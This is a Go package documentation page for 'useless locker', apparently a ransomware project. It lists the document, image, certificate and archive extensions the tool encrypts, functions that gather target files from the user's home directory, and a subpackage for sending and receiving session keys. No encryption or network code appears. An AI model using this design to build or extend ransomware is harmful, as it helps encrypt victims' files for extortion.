Documentation ¶
Overview ¶
Package useless contains all the nessessary code for useless locker.
Index ¶
Constants ¶
This section is empty.
Variables ¶
View Source
var FileExtensions = map[string]bool{ ".accdb": true, ".ai": true, ".cdr": true, ".dbf": true, ".doc": true, ".docm": true, ".docx": true, ".dwg": true, ".dxf": true, ".dxg": true, ".eps": true, ".indd": true, ".mdb": true, ".mdf": true, ".odb": true, ".odc": true, ".odm": true, ".odp": true, ".ods": true, ".odt": true, ".pdd": true, ".pdf": true, ".ppt": true, ".pptm": true, ".pptx": true, ".psd": true, ".pst": true, ".rtf": true, ".wdb2": true, ".wpd": true, ".wps": true, ".xlk": true, ".xls": true, ".xlsb": true, ".xlsm": true, ".xlsx": true, ".3fr": true, ".arw": true, ".cr2": true, ".crw": true, ".dcr": true, ".dng": true, ".gif": true, ".jpg": true, ".kdc": true, ".mrw": true, ".nef": true, ".nrw": true, ".orf": true, ".pef": true, ".png": true, ".ptx": true, ".r3d": true, ".raf": true, ".raw": true, ".rw2": true, ".rwl": true, ".sr2": true, ".srf": true, ".x3f": true, ".cer": true, ".crt": true, ".der": true, ".p12": true, ".p7b": true, ".p7c": true, ".pem": true, ".pfx": true, ".7z": true, ".gzip": true, ".tar": true, ".tar.gz": true, ".tgz": true, }
FileExtensions is a map of all allowed file extensions. Any file with an extension in this map will be encrypted.
Functions ¶
func GetFileList ¶
GetFileList compiles a list of files that match any of the extensions in the FileExtensions map and are less than or equal to the specified file size.
func ReadFileList ¶
ReadFileList reads a list of files contained in a file within the users home directory.
func WriteFileList ¶
WriteFileList writes a list of files to the specified directory.
Types ¶
This section is empty.
Directories ¶
Path | Synopsis |
---|---|
+build linux dragonfly freebsd netbsd openbsd
|
+build linux dragonfly freebsd netbsd openbsd |
cmd
|
|
pkcs7
Package pkcs7 implements PKCS#7 padding, described at http://tools.ietf.org/html/rfc5652#section-6.3.
|
Package pkcs7 implements PKCS#7 padding, described at http://tools.ietf.org/html/rfc5652#section-6.3. |
Package home contains useful functions for sending and receiving session keys.
|
Package home contains useful functions for sending and receiving session keys. |
verbs
Package verbs provides a simple method to filter request method with the net/http ServeMux.
|
Package verbs provides a simple method to filter request method with the net/http ServeMux. |
Click to show internal directories.
Click to hide internal directories.